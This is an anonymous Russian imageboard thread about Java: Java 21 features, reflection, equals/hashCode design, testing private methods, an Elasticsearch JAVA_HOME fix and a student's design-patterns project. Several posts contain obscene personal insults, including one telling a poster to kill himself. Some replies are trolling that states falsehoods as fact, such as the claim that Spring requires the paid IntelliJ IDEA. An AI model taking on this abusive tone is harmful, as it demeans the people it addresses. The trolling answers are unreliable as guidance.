> И почему твои непрошенные маняразмышления должны меня как то трогать или волновать?

Да не должны, ты сам пришёл и начал отвечать. Если не хочешь общаться, то и не надо, я же не заставляю

>>2882476

> Тыж даже сам не понимаешь, че за чушь ебаную ты несешь. Просто порвался и высрался, а по делу ноль сказал.

Что я не по делу сказал? Ещё раз, Java завозит фичи с опозданием лет так на 10-20. Причём завозит фичи в очень ограниченном виде. Pattern-matching работает лишь на примитивах, так и не получивших широкое применение, да и сам по функционалу невероятно слабый. Хуже жабовского матчинга, наверное, только современный питонячий.

Виртуальные треды уже никому не нужны, ведь те, кому они были нужны ещё лет 10 назад пересели на Kotlin/Go/Scala, эта хуйня тупо опоздала. А экосистема вся всё равно будет на системных потоках, поэтому у вас будет франкенштейн, где половина софта на системных, половина софта на виртуальных, и в итоге все тупо жрут говно, страдая от суммы проблем каждого из подходов.

Это фундаментальная проблема языка, он сам по себе очень древний, с древними идеями и древней экосистемой. Если одеть деда в подростковую одежду, не получится подросток, а получится старый ебанат. Именно это и происходит с Java: экосистема, которая уже написана на системных тредах с проверками на null и без рекордов/датаклассов навсегда останется такой, и поэтому новые фичи не дадут новых гарантий или какого-либо подобного профита без полного переписывания всего существующего Java кода на идиоматичный Java 21 (что просто невозможно, я даже не знаю что ты ещё под этим спойлером ожидал, анон)
Аноним 17/10/23 Втр 16:59:34 #321 №2882491 
>>2882485

Я проебался и думал что ты про pattern-matching. Escaping в интерполяциях есть в Elixir, смотри в сигилы в фениксе и всём таком
Аноним 17/10/23 Втр 17:03:29 #322 №2882493 
>>2882490
Не крути жопой на предмет паттерн матчинга - речь не о нем шла. Ты высрался о том, что "Java не будет таргетом" для компиляции, что обьективно настолько тупой и толстый пиздеж, что я после него не особо верю в то что ты - человек, а не нейронка тупая.
Аноним 17/10/23 Втр 17:06:14 #323 №2882495 
>>2882490
>он сам по себе очень древний, с древними идеями и древней экосистемой.
Он же моложе ерланга того же...
Аноним 17/10/23 Втр 17:07:04 #324 №2882497 
>>2882490
>Да не должны, ты сам пришёл и начал отвечать. Если не хочешь общаться, то и не надо, я же не заставляю

Нихуя, это ты пришел в джавистский тред и высрался какой то нерелевантной дристней. Еще раз - ты не нужен. Ты просто созависимое чмо. Убейся.
Аноним 17/10/23 Втр 17:07:13 #325 №2882498 
>>2882493

Java это язык, который копилируется в JVM байткод. В Java никто не компилируется, все компилируются сразу в JVM, скипая текстовую Java и даже Java AST. Доброе утро, самое время подучить язык на котором пишешь.
Аноним 17/10/23 Втр 17:08:23 #326 №2882500 
>>2882497

Тебя так про хаскелль задело? Извини, я думал что будет смешно пошутить про то что ты с мамой живёшь, но раз тебя задело, видать это правда так, и я больше не будет
Аноним 17/10/23 Втр 17:08:46 #327 №2882501 
>>2882498
Так че запиздел то, чел? Ты же выше высирался и по поводу языка, и по поводу рантайма. А теперь жопой крутишь, "это другое"?

Господи, как же ты непробиваемо туп.
Аноним 17/10/23 Втр 17:10:37 #328 №2882503 
>>2882501

Я про рантайм ни слова не говорил, рантайм у Java один из самых пиздатых рантаймов. Но ты всё равно сходи к доктору проверься, а то какую-то хуйню придумал, нафантазировал ещё что я это написал, и теперь решил с выдуманной хуйнёй посраться. Продолжай в том же духе.
Аноним 17/10/23 Втр 17:18:20 #329 №2882517 
>>2882503
Так и знал что ты - выдуманная хуйня. Небось еще и нейронка какая нить сраная - явно тьюринг тест не вывозишь.
Аноним 17/10/23 Втр 18:38:47 #330 №2882642 
Java тред конечно многое повидал, но адепт эрланга - это что-то новое. Шарпухи, головангеры, котлинисты были, а такого кадра еще нет.
Аноним 17/10/23 Втр 18:59:17 #331 №2882680 
Сенька на работе говорит что тормознутость рефлексии преувеличена и фишки которые она дает позволяют избавиться от большого количества кода,что в совокупности потратит меньше времени чем честный код. Что думаете об этом?
Аноним 17/10/23 Втр 19:04:08 #332 №2882691 
>>2882680
>потратит меньше времени
Какого времени? Разработки, поддержки?
Аноним 17/10/23 Втр 19:13:54 #333 №2882706 
>>2882691
Код будет исполняться быстрее за счет того что ты можешь напрямую вертеть жабой как хочешь
Аноним 17/10/23 Втр 19:14:39 #334 №2882709 
>>2882706
Ты с ансейф ниче не путаешь?
Аноним 17/10/23 Втр 19:15:15 #335 №2882712 
>>2882642
Эрлангомухы.
Аноним 17/10/23 Втр 19:15:40 #336 №2882715 
>>2882709
Не знаю,мысль не моя
Аноним 17/10/23 Втр 19:20:55 #337 №2882726 
>>2882715
Ну ансейф все как ты сказал, позволяет перфоманс повысить. Недаром шла 21 жаба, а он все еще тут, с нами. Когда-то в любой хоть сколь нибудь перфомансной либе были ансфейф вызовы.
Рефлексия же имеет мало общего с этим. Типа ансейф это уровень вниз, а рефлексия вверх. Ну и ее еще постоянно оптимизируют, чтобы слишком уж не сосала. На счет применения, ну instanceof же используют, а это рефлексия.
Аноним 17/10/23 Втр 20:01:50 #338 №2882807 
>>2882490
>паттерн матчинг работает только на примитивах
Бляяяяядь, помолчал бы, умнее выглядел бы.

Как же шарпоблядей корёжит...
Аноним 17/10/23 Втр 20:03:35 #339 №2882813 
>>2882726
>instanceof рефлексия
С недавних пор абсолютно легальная конструкция языка, использование которой предполагается, а не которая оставлена на крайний случай и чёрный день.
Аноним 17/10/23 Втр 20:05:20 #340 №2882816 
>>2882286
А ты олд джавы? Что было до спринга? Как относишься к новым веб фреймворкам типа quarkus, micronaut, helidon и внутренним решениям типа тиньковского kora?
Аноним 17/10/23 Втр 20:16:30 #341 №2882856 
>>2882807
Это эрлангомух
Аноним 17/10/23 Втр 20:22:41 #342 №2882881 
image.png
>>2882813
>С недавних пор абсолютно легальная конструкция языка
Всегда ей было. Про это и говорю, что рефлексия
Аноним 17/10/23 Втр 20:24:48 #343 №2882891 
>>2882881
имеет мало общего с ансейфом.
Блять, мысли уже оборванные. Это точно до добра не доведет.
Аноним 17/10/23 Втр 22:43:36 #344 №2883057 
>>2882816
>А ты олд джавы? Что было до спринга?

Не надо быть олдом чтобы знать что до спринга был Java EE и эпоха контейнеров приложений. Это было странное время.

А вот дальше был парадокс: эпоха контейнеров прошла, всякие JBoss'ы, стеклянные рыбы и вебсферы используются разве что в самых лютейших хтоничевских энтерпрайзах, а Оракл вообще отдал JEE на аутсорс после чего тот переименовался в Jakartу... и в то же время многие референс имплементации всяких спек из JEE не просто живы, а развиваются и используются по сей день. Контейнеры приложений можно критиковать по существу за многое, но архитектурно они проектировались достаточно грамотно. И сам факт того, что в основу того же кваркуса легли референс имплементации Jakartы, а не спринг, ИМХО косвенно свидетельствует о том, что деды, в отличие от пориджей, все таки худо бедно умели в дизайн, архитектуру и планирование на долгосрок.

>Как относишься к новым веб фреймворкам типа quarkus, micronaut, helidon и внутренним решениям типа тиньковского kora?

К новым фреймворкам отношусь хорошо - больше фреймворков хороших и разных. Кваркус с нативной компиляцией юзаем для пары сервисов, полет в целом нормальный.

С тиньковским kora не знаком. Вангую что его все хейтят за то, что он не спринг. Угадал?
Аноним 17/10/23 Втр 22:56:35 #345 №2883063 
>>2882680
Тормознутость - лишь одна из проблем. Вторая проблема заключается в том, что рефлексия усиливает связность и херит полиморфизм. Код с рефлексией рефакторить и поддерживать в долгосроке - геморрой тот еще.

Есть еще третья проблема - рефлексия заметно усложняет использование JPMS и AOT компиляцию, но камон, найдется ли
сегодня сенька-спрингромист, которому не похуй...


>>2882813

Ну, это все же слегка преувеличение. Легальна она в новых свитчах в связке с sealed иерархиями, для которых гарантируется компилятором что в дефолтную ветку исполнения не попадет абы какой непредсказуемый класс - в такой парадигме можно косплеить ADT на минималках. В остальных случаях instanceof имеет ровно все те же недостатки, что и остальная рефлексия.

>>2882881
Equals - так себе пример. Equals как неотьемлемая часть java.lang.Object - дизайнерская ошибка нулевого дня, с которой приходится просто жить.
Аноним 17/10/23 Втр 23:03:53 #346 №2883068 
>>2883063
>дизайнерская ошибка нулевого дня
А как бы ты спроектировал?
Аноним 17/10/23 Втр 23:16:03 #347 №2883073 
>>2883068
Вынес бы триаду equals/hashCode/toString в один или несколько интерфейсов, по типу того, как сделано с функциональностью сравнения (Comparable/Comparator). Но мое мнение здесь имеет мало значения - во те времена еще не существовало ни дженериков, ни скорей всего интерфейсов.
Аноним 17/10/23 Втр 23:21:48 #348 №2883075 
>>2883073
Я просто смотрю на шарп, который якобы решает проблемы жабы и у него ровно та же проблема:
https://learn.microsoft.com/ru-ru/dotnet/api/system.object.equals?view=net-7.0
Дженерики же в этом случае вообще не помогут, ввиду стирания типов. А интерфейсы... Мне вообще сложно представить объект, который нельзя сравнить. В жабе есть только NaN с похожим свойством. Короче сложная какая-то концепция, есть ли язык, который это провернул?
Аноним 17/10/23 Втр 23:36:12 #349 №2883086 
>>2883073
щас бы добавлять интерфейс каждому говноклассу ради того чтобы использовать его в качестве ключа в кешмапе вайб питона от этого кринжа
Аноним 17/10/23 Втр 23:45:32 #350 №2883095 
>>2883086
В петухоне нет интерфейсов и с ихней утиной типизацией вообще не проблема строго говоря.
Аноним 17/10/23 Втр 23:50:19 #351 №2883098 
>>2883095
https://stackoverflow.com/questions/14535730/what-does-hashable-mean-in-python
Аноним 17/10/23 Втр 23:52:21 #352 №2883099 
>>2883098
Ну тем более, это мэджик методы. Они часть контракта объекта как и в жабке. А термин не интерфейс же означает, а просто имплементацию двух методов.
Аноним 17/10/23 Втр 23:53:33 #353 №2883100 
>>2883099
нихуя
пока не определишь эти методы, класть объект в кешмапу или сет нельзя
в джаве по дефольту можно
Аноним 17/10/23 Втр 23:54:54 #354 №2883103 
>>2883075
>Дженерики же в этом случае вообще не помогут, ввиду стирания типов.

Ну... кстати возможно ты прав. Надо пробовать.

>А интерфейсы... Мне вообще сложно представить объект, который нельзя сравнить

На семантику equals за времена ее существования наложилось дофига всего. К примеру, есть hash-based структуры типа HashMap, которые не просто сравнивают ключи на равенство, но впридачу еще и ожидают от equals/hashCode дополнительных гарантий, и если ты эти гарантии не обеспечиваешь, рискуешь получить утечку памяти. И вот тут уже представить обьект, для которого обеспечить такие гарантии не возможно либо не имеет смысла, будет проще... но метод один. И hash-based структуры не делают различий, допуская в качестве ключа любой обьект. А еще есть хибернейт, и там, насколько я помню, свои приколы с равенством и айдишниками.

>Короче сложная какая-то концепция, есть ли язык, который это провернул?

Вроде в Rust видел, если мне не изменяет память.

>>2883086

Да ладно те, ну вот че ты душишь. Хошь сказать у тебя таких классов-ключей миллион чтоли?
Аноним 17/10/23 Втр 23:56:20 #355 №2883104 
>>2883103
>Хошь сказать у тебя таких классов-ключей миллион чтоли?
захотел положить объект классом из либы в сет - сосешь хуй потому что автор либы ЕБЛАН и не заимплементил интерфейс
Аноним 17/10/23 Втр 23:58:55 #356 №2883105 
>>2883104
Посмотри на это с другой стороны. Автор либы мог намеренно запретить тебе совать ЕГО обьекты в хэш-бэйзд структуры, потому что у него свои на этот обьект виды. И тем самым предостерег тебя от регрессий в будущем при апгрейде зависмимостей.

Кроме того, ты всегда можешь задекорировать ключ и определить семантику равенства в декораторе.
Аноним 17/10/23 Втр 23:59:46 #357 №2883106 
>>2883105
>Автор либы мог намеренно запретить тебе совать ЕГО обьекты в хэш-бэйзд структуры, потому что у него свои на этот обьект виды.
мне похую
Аноним 18/10/23 Срд 00:00:39 #358 №2883107 
>>2883106
Не вопрос. Тогда ССЗБ.
Аноним 18/10/23 Срд 00:05:41 #359 №2883108 
image.png
>>2883100
Хм, т.е. дефолт реализации нет? Ну у eq пишут есть вот. Но не сомневаюсь, что мог хуйню сказать, не питонист ни разу.
>>2883103
>На семантику equals за времена ее существования наложилось дофига всего.
Это уже проблемы другой плоскости.
>Ну... кстати возможно ты прав. Надо пробовать.
Я скорее про то, что там неизбежно будут бридж методы, ну а еще сложно будет сделать extends T. Типо придется дженерики как покраску функции разносить.
>в Rust видел
Вроде и в расте этот метод дефолтный, хотя вот разбираться в ржавчине, чет вообще желания нет. Не люблю этот язык.
Аноним 19/10/23 Чтв 10:27:40 #360 №2884421 
А как тестировать приватные методы?

Вот есть у меня метод с парой публичных методов и сложной логикой в приватных. Логика кроме этого класса нигде нахуй не нужна и выносить ее отдельно не понятно зачем.
Как быть? Делать их протекдет/пэкедж-прайвет, рефлексию ебануть, все таки вынести куда то или еще есть варианты?
Аноним 19/10/23 Чтв 10:28:28 #361 №2884423 
>>2884421
>>Вот есть у меня метод
класс конечно же
Аноним 19/10/23 Чтв 10:40:29 #362 №2884435 
>>2884421
Как хочешь, пупунев, но чтобы к дедлайну 98% строк были про-тес-ти-ро-ва-ны.
Аноним 19/10/23 Чтв 10:49:54 #363 №2884458 
>>2879659
Странно, а я наоборот идею выкинул из-за тормозни постоянной. А вот к эклипсу нареканий пока нет.
Аноним 19/10/23 Чтв 10:51:41 #364 №2884461 
>>2884421
Никак. Если тебе надо тестировать приватные методы - выносишь их в отдельный сервис и тестируешь его, а в другом просто мокаешь.
Аноним 19/10/23 Чтв 10:55:06 #365 №2884471 
>>2884421
у тя плохая архитектура если ты не знаешь как его протестировать
Аноним 19/10/23 Чтв 11:08:52 #366 №2884502 
Хочу начать работать на спринге в Комьюшной идее .
Как спринг туда запихнуть? Я так понял, он только в ультмишке есть , че делать аноны? Не гуглится
Аноним 19/10/23 Чтв 11:29:19 #367 №2884530 
>>2884502
Никак, в комьюнити только на кваркусе можно писать.
Аноним 19/10/23 Чтв 12:22:29 #368 №2884600 
>>2884502
Сначала ответь на вопрос: что такое спринг и как он попадает в твое приложение.
Аноним 19/10/23 Чтв 14:15:04 #369 №2884811 
>>2884502
Зачем ты пытаешься запихнуть свой грязный спринг в няшную идейку?

Извращенец!
Аноним 19/10/23 Чтв 14:24:43 #370 №2884837 
>>2884502
Никак,спринг это платный фреймворк который гвоздями прибит к платной версии идеи,нет денег нет спринга,тут уж ничего не поделаешь
Аноним 19/10/23 Чтв 14:46:05 #371 №2884903 
>>2884461
Это тоже самое, что просто сделать их публичными. Даже хуже, просто логику размажешь на 10 классов. Инкапсуляция сразу по пизде идет.

>>2884471
Алтернатива - 5 похожих методов на 3 экрана каждый.
Аноним 19/10/23 Чтв 14:55:04 #372 №2884939 
>>2884903
Если тебе надо тестировать приватные методы, то твоя инкапсуляция хуйня. Иначе б ты обошёлся только соблюдением публичного контракта, не заглядывая в реализацию вообще.
Аноним 19/10/23 Чтв 15:41:36 #373 №2885006 
На сколько важно знать паттерны в реальном проекте?
Аноним 19/10/23 Чтв 15:57:08 #374 №2885039 
Ахаха блять пиздец
Аноним 19/10/23 Чтв 16:14:38 #375 №2885069 
>>2884471
Съеби.
Аноним 19/10/23 Чтв 16:23:01 #376 №2885078 
>>2885006
Насколько важно знать названия ударов в боксе?
Аноним 19/10/23 Чтв 16:48:26 #377 №2885122 
>>2874645 (OP)
https://inside.java/2023/10/18/announcing-vscode-extension/
Хорошие новости для всех страдальцев которые не могут использовать спринг потому что он требует платную идею!
Аноним 19/10/23 Чтв 16:51:05 #378 №2885130 
В чем понт Callable,если тебе нужно получить результат ты вызываешь get(),по сути просто ждёшь пока в фьюче появится результат,в итоге поток блокируется до получения и многопоточность идет нахуй
Аноним 19/10/23 Чтв 17:05:38 #379 №2885160 
>>2885130
Ни в чем. Использовался до 8 жабы как аналог Supplier.
Аноним 19/10/23 Чтв 17:07:20 #380 №2885165 
>>2885160
Я лично экзекутором только в связке с ранабл пользуюсь. Чисто из интереса,есть какая-нибудь альтернатива если пиздец надо вернуть значение из потока?
Аноним 19/10/23 Чтв 17:09:03 #381 №2885170 
>>2885130
Во первых можно обработать ошибки. Во вторых можно не ждать, а что-то делать и только потом забрать значение.
Аноним 19/10/23 Чтв 17:09:24 #382 №2885172 
>>2885165
Нет.
Аноним 19/10/23 Чтв 17:09:48 #383 №2885173 
>>2885122
Я видосик кидал, где гетц про это говорил. Надо было смотреть!
Аноним 19/10/23 Чтв 17:10:42 #384 №2885175 
>>2885165
Храни в филдах.
Аноним 19/10/23 Чтв 17:15:03 #385 №2885182 
>>2885165
Еблан, Callable ты передаёшь, возвращается тебе Future, суть его в том что до его вызова можно ещё чё-то поделать и оно будет работать параллельно. Из этой возможности следует возможность объединения двух футуре, например, или сто двадцать двух, которые при 122 ядрах выполнятся за время одной.
Аноним 19/10/23 Чтв 17:18:09 #386 №2885189 
>>2885122
Ещё бы расширение для турбопаскаль иде выкатили. Нахуя нужна эта легаси параша?
Аноним 19/10/23 Чтв 17:25:50 #387 №2885203 
>>2885189
Это ж лсп, потому работает в любой иде. Чево ты через попу читаешь?
Аноним 19/10/23 Чтв 17:27:40 #388 №2885208 
>>2885203
>в любой иде
Что работает на лсп, который разработан копрософтом.
Аноним 19/10/23 Чтв 17:34:53 #389 №2885220 
Кто-нибудь уже успел виртуальные потоки в проде потрогать? Для каких задач используете? Мне дали добро на 21 джаву,но я хз зачем их пока использовать,тем более что цпу интенсив код там не рекомендуется
Аноним 19/10/23 Чтв 17:36:00 #390 №2885222 
>>2885182
Ссал тебе на лицо,обиженка
Аноним 19/10/23 Чтв 17:36:22 #391 №2885223 
>>2885220
Executors.newVirtualThreadPerTaskExecutor() везде, где были экзекуторы на какое-то количество потоков больше 1.
Аноним 19/10/23 Чтв 17:36:36 #392 №2885224 
>>2885220
А нахуя такой код в потоки пихать? Придумали проблемы блять. Вот блоки синхры, что нельзя это действительно проблема.
Да и вообще авторы либ должны их распихать, а ты-то тут причём?
Аноним 19/10/23 Чтв 17:36:54 #393 №2885225 
>>2885222
Тише.
Аноним 19/10/23 Чтв 17:40:48 #394 №2885232 
Тащемто лум это перепиаренная хуйня. Самая база 21 жабы это паттерн матчинг.
Аноним 19/10/23 Чтв 17:41:20 #395 №2885234 
>>2885224
Когда спринг усвеличит производительность @Async хотя бы в десять тысяч раз с приходом виртуальных потоков?
Аноним 19/10/23 Чтв 17:41:21 #396 №2885235 
>>2885232
Пакаж как применил. Интересно посмотреть
Аноним 19/10/23 Чтв 17:42:46 #397 №2885241 
>>2885232
Про паттерн матчинг знаю только то что скала оюего обожает,как применить ирл и нахуя?
Аноним 19/10/23 Чтв 17:52:45 #398 №2885259 
>>2885122
Бесконечный триал чем не подходит?
Аноним 19/10/23 Чтв 18:36:48 #399 №2885343 
Сап, мб я не по адресу, но у меня на винде есть elasticsearch 7.9.1 папкой из архива, в котором внутри есть папка jdk с джавой и папка bin с батником elasticsearch.bat, который запускает эластиксёрч по идее джавой из папки jdk. Вчера у меня перезагрузилась и обновилась винда и теперь при попытке запустить elasticsearch как обычно, возникает ошибка
Exception in thread "main" java.lang.UnsupportedOperationException: The Security Manager is deprecated and will be removed in a future release
at java.base/java.lang.System.setSecurityManager(System.java:429)
at org.elasticsearch.bootstrap.Elasticsearch.main(Elasticsearch.java:82)
как будто бы оно теперь пытается использовать не джаву из папки jdk, а установленную в системе. Почему так может быть?
Аноним 19/10/23 Чтв 18:39:59 #400 №2885349 
>>2885343
Убрал в переменных среды JAVA_HOME и заработало. Пиздец.
Аноним 19/10/23 Чтв 18:43:02 #401 №2885355 
>>2885343
Хуйню какую-то приложение делает. Легаси походу.
Аноним 19/10/23 Чтв 18:50:47 #402 №2885371 
>>2885069
соси
Аноним 19/10/23 Чтв 18:56:13 #403 №2885379 
image.png
>>2885203
>Это ж лсп, потому работает в любой иде
Кроме идеи
Аноним 19/10/23 Чтв 18:57:53 #404 №2885382 
>>2885379
Завезли уже https://habr.com/ru/companies/bar/articles/746264/
Аноним 19/10/23 Чтв 19:00:40 #405 №2885391 
image.png
>>2885382
Только в ультимейт и не для всех
Аноним 19/10/23 Чтв 19:05:28 #406 №2885403 
>>2885391
Возможно перенесут же, хотя я и сомневаюсь. Так или иначе, мой тезис это никак не затрагивает. Усилия оракла в области лсп сугубо положительные и благотворно влияют на все иде, а не только вскод.
Аноним 19/10/23 Чтв 19:28:07 #407 №2885481 
Опять уронил прод из-за NPE...
Аноним 19/10/23 Чтв 20:13:07 #408 №2885616 
>>2885481
ПУПУНЯ!!!!!!!!!!!
Аноним 19/10/23 Чтв 20:15:07 #409 №2885622 
>>2885616
Не ронял я ничево. Вот не надо орать даже.
Аноним 19/10/23 Чтв 20:18:13 #410 №2885629 
>>2885622
Не ври,я сделал гит блейм и все узнал,это ты роняешь прод,тебе не стыдно?
Аноним 19/10/23 Чтв 20:22:35 #411 №2885637 
>>2885481
А вот в сишарпе такого бы никогда не произошло.
Аноним 19/10/23 Чтв 20:35:43 #412 №2885679 
>>2885637
На шарпе не бывает прода
Аноним 19/10/23 Чтв 21:29:32 #413 №2885779 
>>2885637
В шарпе я бы не дошел до рабочего места живым
Аноним 19/10/23 Чтв 21:40:13 #414 №2885802 
>>2885391
С чего ты это взял, шизофреник? Галоперидол забыл выпить и опять хуйня всякая мерещится?
Аноним 19/10/23 Чтв 22:01:51 #415 №2885849 
image.png
>>2885802
нах ты насерил под себя?
Аноним 19/10/23 Чтв 22:41:35 #416 №2885920 
>>2884939
Так блять как правильно то? писать ебучую копипасту? Или по заветам маразматика один класс на один метод?
Аноним 19/10/23 Чтв 22:46:02 #417 №2885926 
>>2885920
Да я ебу что ли как у вас правильно? У тебя есть возможность доебаться до людей на работе. Вот и еби им мозги.
Я бы тоже хотел иметь такую возможность...
Аноним 19/10/23 Чтв 23:06:51 #418 №2885950 
>>2884421
Тестируй обращения внутри приватного метода как часть публичного
Аноним 19/10/23 Чтв 23:22:37 #419 №2885973 
>>2885849
Ну и откуда ты это вытащил, болезненный?
Аноним 19/10/23 Чтв 23:33:14 #420 №2885992 
>>2885950
Приватный метод - чистая функция. Там нет зависимостей - получает данные, отдает результат. А методы его вызывающие как раз к зависимостям обращаются и логики не содержат.

То есть приватный можно сделать протектед/вызвать рефлексией и нормально покрыть юнитами.
А публичные его вызывающие надо мокать и хуй знает что там отъебнет на самом деле - код или моки.

К тому же в приватном формируется промежуточная сущность, которая потом мапится в конечные дто в каждом методе свои. В этих дто полей может быть меньше, чем в промежуточной.
Аноним 19/10/23 Чтв 23:34:52 #421 №2885995 
>>2885992
Что у тебя происходит в приватном методе? Представь что у тебя не приватный метод,а все его содержимое написано как есть в публичном, ничего не поменялось
Аноним 19/10/23 Чтв 23:38:03 #422 №2885997 
>>2885973
я не буду общаться с обосратым
Аноним 19/10/23 Чтв 23:46:37 #423 №2886004 
>>2885995
Там что то вроде

публичный метод (параметры) {
х1 = достатьХуйнюИзБазы1(параметры)
х2 = достатьХуйнюИзБазы2(параметры)
р1 = вызватьПриватныйМетод1(х1, х2)
р2 = вызватьПриватныйМетод2(х1, х2)
итог = смержитьПоЙобаПравиламПриватногоМетода (р1, р2)
смапитьВДто (итог)
}

Тестить все это одним куском сложно и если тест упадет не так очевидно на каком этапе ошибка.

Или может я таки хуйней занимаюсь и нахуй эти тесты?
Аноним 19/10/23 Чтв 23:47:36 #424 №2886006 
>>2886004
ну и подобных публичных несколько с разными вариациями параметров, получаемых данных и разными итоговыми дто
Аноним 19/10/23 Чтв 23:47:43 #425 №2886007 
>>2886004
Я не вижу вариантов кроме как тестировать одним куском
Аноним 19/10/23 Чтв 23:55:45 #426 №2886017 
>>2886004
В чем проблема-то описать все области допустимых и недопустимых значений в публичном методе и протестировать их?
Аноним 19/10/23 Чтв 23:58:25 #427 №2886021 
>>2885997
Ясно, зашивайся, слитое.
Аноним 20/10/23 Птн 00:09:03 #428 №2886027 
>>2885220
Ведущий проекта Helidon успел потрогать и сказал, что реактив программинг ВСЕ.

В первой половине стрима по Java 21 рассказывает.
Аноним 20/10/23 Птн 00:11:33 #429 №2886029 
>>2884502
Через Gradle пихается же нормально
Аноним 20/10/23 Птн 00:11:38 #430 №2886030 
>>2886027
че все?
Аноним 20/10/23 Птн 00:12:16 #431 №2886031 
>>2886029
>Через Gradle пихается же нормально
в жопу только если
Аноним 20/10/23 Птн 00:12:38 #432 №2886033 
>>2884502
>>2884837
Так потешно смотреть на попытку нахрюка совершенно не соображающими в теме шарподебилами.
Аноним 20/10/23 Птн 00:20:14 #433 №2886044 
>>2886004
>р1 = вызватьПриватныйМетод1(х1, х2)
>р2 = вызватьПриватныйМетод2(х1, х2)
Выглядят как кандидатура на вынос в другой класс вызов которого будем мокаться в тесте этого.
>смержитьПоЙобаПравиламПриватногоМетода (р1, р2)
Всякая еба-хуйня точно требует отдельного класса со всеми вытекающими.
>смапитьВДто
Это мб в каком-то статическом методе хелпере, может даже самого ДТО может лежать.
Итого - все разносится по разным классам и становится по больше части публичным, там и покрывается нормально тестами без какой-либо рефлексии.
Аноним 20/10/23 Птн 00:25:34 #434 №2886049 
>>2886027
Скинь ссылку на стрим бля. Че ты как этот
Аноним 20/10/23 Птн 00:56:13 #435 №2886059 
image.png
https://docs.gradle.org/current/userguide/dependency_locking.html#lock_state_location_and_format
Градл докатился нахуй до джаваскрипта.
Аноним 20/10/23 Птн 01:01:53 #436 №2886062 
>>2886059
Проблемы дегенерадлосои.
Аноним 20/10/23 Птн 01:09:15 #437 №2886066 
Господа аноны, выручайте.
Есть предмет на джаве - но не простой, а с подковыркой, которая заключается в том, что предмет в принципе посвящен изучению паттернов. Наша курсовая работа, которую мы должны сделать - симуляция умного дома. Там должно быть использовано максимальное количество паттернов, насколько это вообще возможно. ЧТОБ ВЫ ПОНИМАЛИ МЫ ВООБЩЕ НУБЫ
Что есть в описании:
1) Каждое устройство в доме имеет API для управления им
2) Приборы имеют потребление в активном состоянии, в состоянии простоя, в выключенном состоянии
3) Каждое устройство имеет API для сбора данных об этом устройстве (потребление электроэнергии, газа, блабла)
4) Люди и животные в доме генерируют события и взаимодействуют друг с другом и с предметами
Вроде все что есть полезного из описания на 2 страницы.
В общем, нужны любые материалы и советы что смотреть/читать/делать, если полный нубас, и после прочтения задания понятия не имеешь вообще, как начать, да и в принципе делать лол. Нас ничему не учат, просто бросают в лаву. А может мне такие учителя фортанули. А может они начнут объяснять, но позже, скажем, к концу сема, когда уже не будет времени.
Аноним 20/10/23 Птн 01:11:08 #438 №2886068 
>>2886066
>паттернов
Хуйня без задач, сделай им FizzBuzz Enterprise Edition.
Аноним 20/10/23 Птн 01:21:03 #439 №2886071 
>>2886066
>Нас ничему не учат
Почему мне кажеца, что ты пиздабол и просто лентяй, который себя оправдывает?
Аноним 20/10/23 Птн 01:25:16 #440 №2886074 
>>2886071
Потому что таких большинство, заюш. Ты просто мыслишь вероятностями.
Аноним 20/10/23 Птн 02:07:22 #441 №2886078 
>>2886066
>Нас ничему не учат, просто бросают в лаву
привыкай, так и дальше всегда будет
разбирайся сам и радуйся что тебе не бесполезный кал уровня скопипастить пример и поменять 1.5 строчки дают
а если не хочешь то тебе и в айти делать нечего
Аноним 20/10/23 Птн 02:12:31 #442 №2886079 
>>2886074
Какой ты вежливый, солнышко. Не очень понял смысл сказанного, но мне понравилось, продолжай~
Аноним 20/10/23 Птн 03:40:31 #443 №2886091 
>>2886044
>>в другой класс
Есть класс UserService а этот будет UserServiceHelper или вроде того? С тремя публичными методами, которые нигде нахуй не нужны и с которыми никто кроме UserService работать не сможет. Это ровно тоже самое что сделать те 3 метода публичными.
Я уж лучше рефлексию ебану, оно хоть говном выглядеть не будет в коде. Тесты для кода, а не код для тестов.

>>Всякая еба-хуйня точно требует отдельного класса со всеми вытекающими.
Там не настолько йоба, 30-40 строк кода. На класс не тянет.

>>Это мб в каком-то статическом методе хелпере, может даже самого ДТО может лежать.
Это как раз трогать не надо, мапстракт это сделает сам в одну строку.

>>Итого - все разносится по разным классам и становится по больше части публичным, там и покрывается нормально тестами без какой-либо рефлексии.
И получаем вместо одного класса с инкапсуляцйией 4 класса с кишками наружу.

>>2886017
Сложно, не хочется ебаться с моками, особенно когда порефачить захочу, на некоторые кейсы надо избыточные данные генерировать.
Но это намного адекватнее идеи распидарасить класс на десяток недоклассов.
Аноним 20/10/23 Птн 03:51:06 #444 №2886093 
>>2885371
Съеби.
Аноним 20/10/23 Птн 04:50:59 #445 №2886097 
>>2886004
А зачем чтение из базы объединять с логикой обработки в 1 сущности?
>Тесты для кода, а не код для тестов.
Простота тестирования - один из при знаков хрошего стиля.
>олучаем вместо одного класса с инкапсуляцйией 4 класса с
Странно, верит в ООП но экономит классы.

Я думаю, или забивать на мантры ООП про инкапсуляцию, или разность по классам, как уже тебе написали.
Аноним 20/10/23 Птн 09:01:05 #446 №2886138 
>>2886066
Рефакторинг гуру сайт про паттерны. Но я лично против этой скуфодрисни с паттернами из нулевых, на твой кейс может стратегия, команда, билдер и фабрика будут полезны.
Аноним 20/10/23 Птн 10:36:37 #447 №2886253 
1697787397562.jpg
>>2886097
Хм, т.е. у меня хороший стиль был выбран?
Тесты-то легко вообще писать было...
Аноним 20/10/23 Птн 11:10:29 #448 №2886304 
Пупунечки,сегодня пятница ураааааааааа
Аноним 20/10/23 Птн 11:22:20 #449 №2886317 
>>2886304
Ты на выходные остаешься. Провинился вчера.
Аноним 20/10/23 Птн 11:23:03 #450 №2886319 
>>2886317
Пусть остаётся тот кто прод уронил,я тут не причем
Аноним 20/10/23 Птн 11:24:05 #451 №2886323 
>>2886304
Тут все безработные. Вкатиться невозможно, на вакансии мидла 2к откликов.
Аноним 20/10/23 Птн 11:24:57 #452 №2886325 
>>2886323
У меня испытательный через 20 дней кончается
Аноним 20/10/23 Птн 11:25:54 #453 №2886326 
>>2886319
А это не важно. Виноват один - отдуваются все. Привыкайте.
Аноним 20/10/23 Птн 11:26:45 #454 №2886327 
>>2886325
На каком стеке? Явно не на перехайпленной джаве с миллионом вкатунов.
Аноним 20/10/23 Птн 11:27:19 #455 №2886328 
>>2886326
Вот ты и останешься
Аноним 20/10/23 Птн 11:28:08 #456 №2886330 
>>2886327
Джава,спринг,кафка,монга,ты тред с мвп не перепутал?
Аноним 20/10/23 Птн 11:28:50 #457 №2886332 
>>2886328
И ты тоже. Завтра что б к 8 был.
Аноним 20/10/23 Птн 11:30:09 #458 №2886335 
>>2886332
